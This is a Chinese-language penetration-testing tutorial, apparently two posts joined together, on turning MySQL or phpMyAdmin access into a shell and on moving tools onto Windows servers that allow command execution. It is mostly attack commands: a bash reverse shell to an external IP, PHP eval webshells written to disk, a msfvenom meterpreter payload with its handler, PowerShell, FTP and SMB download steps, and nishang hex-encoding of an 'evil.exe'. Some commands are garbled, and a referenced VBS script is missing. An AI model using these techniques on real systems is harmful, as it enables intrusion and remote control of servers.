1.通過sqlmap連接mysql獲取shell
(1)直接連接數據庫
sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell
(2)通過選擇32位或者64位操作系統,獲取webshell,執行
bash -i >& /dev/tcp/192.168.1.3/80800>&1
(3)反彈到服務器192.168.1.3,在實際中192.168.1.3為外網獨立IP。
(4)通過echo命令生成shell:
echo “?php@eval($_POST['chopper']);?” >/data/www/phpmyadmin/1.php
如果能夠通過phpmyadmin管理數據庫,則可以修改host為“%”並執行權限更新,下面命令可參考:
use mysql;
update userset host = ‘%’ where user = ‘root’;
FLUSHPRIVILEGES ;
注意:如果數據庫中有多個host連接,修改時可能會導致數據庫連接出問題。
2.通過msf反彈
(1)使用msfvenom生成msf反彈的php腳本木馬,默認端口為4444:
msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php
(2)在獨立IP或者反彈服務器上運行msf依次執行以下命令:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.3 //192.168.1.3為反彈監聽服務器IP
show options
run 0 或者exploit
(3)上傳並執行php文件
將test.php上傳到192.168.1.2服務器上面,訪問后即可獲取msf反彈shell
http:// 192.168.1.2:8080/test.php
3.通過phpmyadmin管理界面查詢生成webshll
select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘D:/work/WWW/antian365.php’
我們在做滲透測試的時候會經常遇到存在命令執行的Windows服務器,而且不能上傳shell,唯一的入口就是命令執行,這種情況下,我們需要向服務器上傳一個大一點的工具,如何實現,這就是本文章主要的內容。
利用http協議下載文件
利用vbs下載
將下面的代碼保存為test.vbs
執行如下語句:
cscript test.vbs
利用powershell下載
將如下代碼保存為test.ps1
$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")
執行.test.ps1
有的時候PowerShell的執行權限會被關閉,需要使用如下的語句打開。
powershell set-executionpolicy unrestricted
利用ftp協議下載文件
1 創建一個ftp服務器,或者使用公共的ftp服務器
2 將下面的代碼保存為test.txt
ftp 127.0.0.1
username
password
get fileexit
3 執行下面的命令
ftp -s:test.txt
利用smb協議拷貝文件
1 在公網創建一個共享如:\111.111.111.111test$
2 命令行下執行net use \111.111.111.111test$ /u:test test
3 最后上傳文件到共享,命令行下拷貝:copy \111.111.111.111test$test.exe c:\
利用echo直接寫文件
使用nishang的powershell工具包對上傳的文件進行處理,然后使用echo到文件中,最后再轉為原始文件。
下載地址:https://github.com/samratashok/nishang
具體操作步驟:
1 將文件轉為hex
PS > .\ExetoText.ps1 evil.exe evil.txt
2 將hex的值echo到文件中
3 將hex轉為原始文件
PS > .\TexttoExe.ps1 evil.text evil.exe
總結
這幾種方式的利用場景是在我們發現一個服務器存在命令執行,而且還是一台Windows,在不依賴其他工具的前提下,使用Windows自帶的命令將我們需要的工具上傳到服務器的姿勢。以上的腳本文件都可以使用echo 的方式保存到服務器上,然后再利用這些姿勢上傳大一點的工具等文件。歡迎大家補充各種姿勢。